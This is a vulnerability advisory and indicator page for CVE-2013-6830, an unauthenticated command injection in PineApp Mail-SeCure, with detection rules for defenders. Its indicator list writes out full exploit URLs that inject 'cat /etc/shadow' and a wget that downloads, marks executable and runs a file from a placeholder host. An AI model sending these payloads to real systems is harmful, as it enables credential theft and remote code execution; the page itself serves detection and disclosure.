CVE-2013-6830

published 2013-11-20

CVE-2013-6830: admin/confnetworking.html in PineApp Mail-SeCure 3.70 and earlier on 5099SK and earlier platforms allows remote attackers to execute arbitrary commands via…

Priority P2 63 high 7.5 CVSS 2.0

AV N AC L Au N C P I P A P

EXPLOIT

admin/confnetworking.html in PineApp Mail-SeCure 3.70 and earlier on 5099SK and earlier platforms allows remote attackers to execute arbitrary commands via shell metacharacters in the nsserver parameter during an nslookup operation.

Affected

1 ranges

Vendor	Product	Version range	Fixed in
pineapp	mail-secure_5099sk	<= -	—

Detection & IOCs extracted from sources · hover to see the quote

path /admin/confnetworking.html↗

url https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;%20cat%20/etc/shadow↗

url https://192.168.24.24:7443/admin/confnetworking.html?cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;wget%20http://server.com/somefile%20-O%20/tmp/somefile↗

path /srv/www/htdocs/admin/confnetworking.html↗

port 7443↗

command cmd=nslookup&hostip=&nstype=any&nsserver=www.google.es;wget%20http://server.com/somefile%20-O%20/tmp/somefile;chmod%20+x%20somefile;/tmp/somefile↗

• → Detect unauthenticated GET requests to /admin/confnetworking.html containing shell metacharacters (semicolons) in the 'nsserver' query parameter, indicative of command injection attempts. ↗
• → Monitor HTTP/HTTPS traffic on port 7443 for requests to /admin/confnetworking.html with query parameters cmd=nslookup and nsserver values containing ';', '%3B', or other shell metacharacters. ↗
• → Alert on creation or modification of /tmp/rc.firewall, which is abused for privilege escalation to root via a weak sudoers configuration on PineApp Mail-SeCure appliances. ↗
• → Detect outbound wget or curl requests originating from the PineApp appliance process context (qmailq user), which may indicate payload download following initial command injection. ↗
• → Monitor SSH connections on non-standard port 7022 to the appliance, especially from external sources, as the exploit chain culminates in root SSH access via injected authorized_keys. ↗
• → Alert on writes to /root/.ssh/authorized_keys on the appliance, as the exploit injects an attacker-controlled SSH public key to establish persistent root access. ↗

• · The exploit requires no authentication; the vulnerable endpoint /admin/confnetworking.html is accessible without credentials, making network-level access control the primary mitigation. ↗
• · Privilege escalation to root depends on a weak sudoers configuration specific to the appliance; not all deployments may be equally vulnerable to the full root escalation chain. ↗

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